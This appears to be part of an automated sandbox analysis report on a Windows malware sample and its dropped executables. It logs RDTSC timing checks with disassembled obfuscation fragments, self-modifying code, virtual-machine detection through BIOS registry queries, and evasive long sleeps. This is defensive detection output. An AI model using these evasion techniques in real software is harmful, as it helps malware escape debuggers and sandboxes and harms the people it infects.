Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90D76 second address: 4F90D7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90D7A second address: 4F90D80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90D80 second address: 4F90D86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90D86 second address: 4F90D8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90D8A second address: 4F90D8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0023 second address: 4FA00B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 push ecx 0x00000007 pop edi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF8A1198180h 0x00000013 sub al, FFFFFF88h 0x00000016 jmp 00007FF8A119817Bh 0x0000001b popfd 0x0000001c popad 0x0000001d mov eax, dword ptr [esp+04h] 0x00000021 pushad 0x00000022 push edx 0x00000023 pushfd 0x00000024 jmp 00007FF8A1198182h 0x00000029 and cx, 9BE8h 0x0000002e jmp 00007FF8A119817Bh 0x00000033 popfd 0x00000034 pop esi 0x00000035 jmp 00007FF8A1198189h 0x0000003a popad 0x0000003b mov eax, dword ptr [eax] 0x0000003d jmp 00007FF8A1198181h 0x00000042 mov dword ptr [esp+04h], eax 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 mov ch, bl 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA00B2 second address: 4FA0116 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 call 00007FF8A11CF03Bh 0x0000000c call 00007FF8A11CF048h 0x00000011 pop esi 0x00000012 pop edx 0x00000013 popad 0x00000014 pop eax 0x00000015 jmp 00007FF8A11CF03Eh 0x0000001a call 00007FF911E44ABAh 0x0000001f push 75C12B70h 0x00000024 push dword ptr fs:[00000000h] 0x0000002b mov eax, dword ptr [esp+10h] 0x0000002f mov dword ptr [esp+10h], ebp 0x00000033 lea ebp, dword ptr [esp+10h] 0x00000037 sub esp, eax 0x00000039 push ebx 0x0000003a push esi 0x0000003b push edi 0x0000003c mov eax, dword ptr [75C74538h] 0x00000041 xor dword ptr [ebp-04h], eax 0x00000044 xor eax, ebp 0x00000046 push eax 0x00000047 mov dword ptr [ebp-18h], esp 0x0000004a push dword ptr [ebp-08h] 0x0000004d mov eax, dword ptr [ebp-04h] 0x00000050 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000057 mov dword ptr [ebp-08h], eax 0x0000005a lea eax, dword ptr [ebp-10h] 0x0000005d mov dword ptr fs:[00000000h], eax 0x00000063 ret 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 call 00007FF8A11CF03Dh 0x0000006c pop esi 0x0000006d jmp 00007FF8A11CF041h 0x00000072 popad 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0169 second address: 4FA016E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0BB7 second address: 4FA0CE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF8A11CF03Fh 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FF8A11CF049h 0x0000000f sbb si, E136h 0x00000014 jmp 00007FF8A11CF041h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e pushad 0x0000001f call 00007FF8A11CF047h 0x00000024 pushfd 0x00000025 jmp 00007FF8A11CF048h 0x0000002a or ecx, 24C952B8h 0x00000030 jmp 00007FF8A11CF03Bh 0x00000035 popfd 0x00000036 pop esi 0x00000037 mov eax, edi 0x00000039 popad 0x0000003a xchg eax, esi 0x0000003b jmp 00007FF8A11CF03Bh 0x00000040 mov esi, dword ptr [ebp+0Ch] 0x00000043 pushad 0x00000044 movzx esi, di 0x00000047 pushfd 0x00000048 jmp 00007FF8A11CF041h 0x0000004d jmp 00007FF8A11CF03Bh 0x00000052 popfd 0x00000053 popad 0x00000054 test esi, esi 0x00000056 jmp 00007FF8A11CF046h 0x0000005b je 00007FF911E3C75Dh 0x00000061 jmp 00007FF8A11CF040h 0x00000066 cmp dword ptr [75C7459Ch], 05h 0x0000006d pushad 0x0000006e jmp 00007FF8A11CF03Eh 0x00000073 call 00007FF8A11CF042h 0x00000078 pushad 0x00000079 popad 0x0000007a pop eax 0x0000007b popad 0x0000007c je 00007FF911E547FBh 0x00000082 push eax 0x00000083 push edx 0x00000084 jmp 00007FF8A11CF03Ah 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0D3F second address: 4FA0D8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A119817Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF8A1198187h 0x00000013 and ax, 76CEh 0x00000018 jmp 00007FF8A1198189h 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0D8A second address: 4FA0DA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, bl 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF8A11CF03Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0DA5 second address: 4FA0DB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A119817Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0DB4 second address: 4FA0DF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF049h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov cx, A333h 0x0000000f call 00007FF8A11CF048h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe RDTSC instruction interceptor: First address: DEED2D second address: DEED31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe RDTSC instruction interceptor: First address: F6B3C2 second address: F6B3E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FF8A11CF048h 0x0000000c jmp 00007FF8A11CF042h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe RDTSC instruction interceptor: First address: F6B3E0 second address: F6B3F2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF8A119817Ch 0x00000008 jnp 00007FF8A1198176h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe RDTSC instruction interceptor: First address: F6B3F2 second address: F6B3F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe RDTSC instruction interceptor: First address: F6B3F8 second address: F6B3FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe RDTSC instruction interceptor: First address: F6B589 second address: F6B593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF8A11CF036h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe RDTSC instruction interceptor: First address: F6B593 second address: F6B597 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe RDTSC instruction interceptor: First address: F6B597 second address: F6B5AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF8A11CF03Ah 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe RDTSC instruction interceptor: First address: F6F043 second address: F6F04D instructions: 0x00000000 rdtsc 0x00000002 je 00007FF8A1198176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe RDTSC instruction interceptor: First address: F6F04D second address: F6F0B7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF8A11CF038h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007FF8A11CF038h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 mov esi, 47EE92B8h 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f call 00007FF8A11CF038h 0x00000034 pop edx 0x00000035 mov dword ptr [esp+04h], edx 0x00000039 add dword ptr [esp+04h], 00000018h 0x00000041 inc edx 0x00000042 push edx 0x00000043 ret 0x00000044 pop edx 0x00000045 ret 0x00000046 movzx ecx, si 0x00000049 push 4DB08F73h 0x0000004e pushad 0x0000004f jnp 00007FF8A11CF03Ch 0x00000055 jnl 00007FF8A11CF036h 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe RDTSC instruction interceptor: First address: F6F0B7 second address: F6F0BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe RDTSC instruction interceptor: First address: F6F0BB second address: F6F165 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF8A11CF036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xor dword ptr [esp], 4DB08FF3h 0x00000012 pushad 0x00000013 jc 00007FF8A11CF03Ch 0x00000019 mov edi, dword ptr [ebp+122D2CD2h] 0x0000001f mov esi, dword ptr [ebp+122D2C42h] 0x00000025 popad 0x00000026 push 00000003h 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push edx 0x0000002d call 00007FF8A11CF038h 0x00000032 pop edx 0x00000033 mov dword ptr [esp+04h], edx 0x00000037 add dword ptr [esp+04h], 0000001Dh 0x0000003f inc edx 0x00000040 push edx 0x00000041 ret 0x00000042 pop edx 0x00000043 ret 0x00000044 mov esi, dword ptr [ebp+122D2B0Eh] 0x0000004a push 00000003h 0x0000004c mov dl, 88h 0x0000004e push E8CFC791h 0x00000053 jns 00007FF8A11CF042h 0x00000059 xor dword ptr [esp], 28CFC791h 0x00000060 mov edi, dword ptr [ebp+122D2671h] 0x00000066 lea ebx, dword ptr [ebp+12453F20h] 0x0000006c cmc 0x0000006d xchg eax, ebx 0x0000006e je 00007FF8A11CF04Eh 0x00000074 jmp 00007FF8A11CF048h 0x00000079 push eax 0x0000007a push eax 0x0000007b push edx 0x0000007c push eax 0x0000007d push edx 0x0000007e push eax 0x0000007f push edx 0x00000080 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe RDTSC instruction interceptor: First address: F6F165 second address: F6F169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe RDTSC instruction interceptor: First address: F6F169 second address: F6F182 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF045h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe RDTSC instruction interceptor: First address: F6F32A second address: F6F3A8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FF8A1198178h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 pushad 0x00000025 jg 00007FF8A119817Ch 0x0000002b jne 00007FF8A119817Ch 0x00000031 popad 0x00000032 and esi, 2A76E2C1h 0x00000038 push 00000000h 0x0000003a jg 00007FF8A1198188h 0x00000040 push 5B13046Bh 0x00000045 pushad 0x00000046 jp 00007FF8A1198178h 0x0000004c push ecx 0x0000004d pop ecx 0x0000004e push eax 0x0000004f push edx 0x00000050 je 00007FF8A1198176h 0x00000056 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe RDTSC instruction interceptor: First address: F6F3A8 second address: F6F403 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF8A11CF036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xor dword ptr [esp], 5B1304EBh 0x00000012 mov dword ptr [ebp+122D29EBh], edi 0x00000018 push 00000003h 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007FF8A11CF038h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 00000017h 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 mov ecx, 22F0E7B1h 0x00000039 mov esi, eax 0x0000003b push 00000000h 0x0000003d mov edi, dword ptr [ebp+122D2C86h] 0x00000043 push 00000003h 0x00000045 mov dword ptr [ebp+122D1C04h], ebx 0x0000004b mov cl, 75h 0x0000004d push 55C70593h 0x00000052 push ecx 0x00000053 push ecx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe RDTSC instruction interceptor: First address: F6F403 second address: F6F439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 add dword ptr [esp], 6A38FA6Dh 0x0000000d mov edx, dword ptr [ebp+122D2C76h] 0x00000013 lea ebx, dword ptr [ebp+12453F34h] 0x00000019 add dword ptr [ebp+122D29EBh], eax 0x0000001f or esi, dword ptr [ebp+122D2AA6h] 0x00000025 xchg eax, ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 push edi 0x00000029 jmp 00007FF8A119817Ch 0x0000002e pop edi 0x0000002f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe RDTSC instruction interceptor: First address: F6F439 second address: F6F450 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe RDTSC instruction interceptor: First address: F80510 second address: F8052E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FF8A119817Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007FF8A1198178h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe RDTSC instruction interceptor: First address: F8D66D second address: F8D673 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 4C3B91 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 660904 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 6F0A48 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Special instruction interceptor: First address: DEEDA5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Special instruction interceptor: First address: F9B517 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Special instruction interceptor: First address: F9229A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Special instruction interceptor: First address: 6B18AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Special instruction interceptor: First address: 85E0E3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Special instruction interceptor: First address: 85CCA1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Special instruction interceptor: First address: 8865EF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Special instruction interceptor: First address: 863ACC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Special instruction interceptor: First address: 8E6ECC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 67EDA5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 82B517 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 82229A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Special instruction interceptor: First address: 1013B91 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Special instruction interceptor: First address: 11B0904 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Special instruction interceptor: First address: 1240A48 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Special instruction interceptor: First address: 11218AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Special instruction interceptor: First address: 12CE0E3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Special instruction interceptor: First address: 12CCCA1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Special instruction interceptor: First address: 12F65EF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Special instruction interceptor: First address: 12D3ACC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Special instruction interceptor: First address: 1356ECC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Special instruction interceptor: First address: 303B91 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Special instruction interceptor: First address: 4A0904 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Special instruction interceptor: First address: 530A48 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Special instruction interceptor: First address: 5718AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Special instruction interceptor: First address: 71E0E3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Special instruction interceptor: First address: 71CCA1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Special instruction interceptor: First address: 7465EF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Special instruction interceptor: First address: 723ACC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Special instruction interceptor: First address: 7A6ECC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Special instruction interceptor: First address: 4E3B91 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Special instruction interceptor: First address: 680904 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Special instruction interceptor: First address: 710A48 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Special instruction interceptor: First address: 10118AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Special instruction interceptor: First address: 11BE0E3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Special instruction interceptor: First address: 11BCCA1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Special instruction interceptor: First address: 11E65EF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Special instruction interceptor: First address: 11C3ACC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Special instruction interceptor: First address: 1246ECC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Special instruction interceptor: First address: C03B91 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Special instruction interceptor: First address: DA0904 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Special instruction interceptor: First address: E30A48 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe Special instruction interceptor: First address: F818AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe Special instruction interceptor: First address: 112E0E3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe Special instruction interceptor: First address: 112CCA1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe Special instruction interceptor: First address: 11565EF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe Special instruction interceptor: First address: 1133ACC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe Special instruction interceptor: First address: 11B6ECC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe Special instruction interceptor: First address: 8CEDA5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe Special instruction interceptor: First address: A7B517 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe Special instruction interceptor: First address: A7229A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe Special instruction interceptor: First address: F518AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe Special instruction interceptor: First address: 10FE0E3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe Special instruction interceptor: First address: 10FCCA1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe Special instruction interceptor: First address: 11265EF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe Special instruction interceptor: First address: 1103ACC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe Special instruction interceptor: First address: 1186ECC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Special instruction interceptor: First address: FEDA5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Special instruction interceptor: First address: 2AB517 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Special instruction interceptor: First address: 2A229A instructions caused by: Self-modifying code
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Code function: 4_2_05690BF7 rdtsc 4_2_05690BF7
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe API coverage: 3.6 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\file.exe TID: 7568 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7596 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6744 Thread sleep time: -46023s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6940 Thread sleep count: 44 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6940 Thread sleep time: -88044s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7936 Thread sleep count: 334 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7936 Thread sleep time: -10020000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7028 Thread sleep count: 43 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7028 Thread sleep time: -86043s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6936 Thread sleep time: -54027s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6740 Thread sleep count: 34 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6740 Thread sleep time: -68034s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 692 Thread sleep time: -360000s >= -30000s
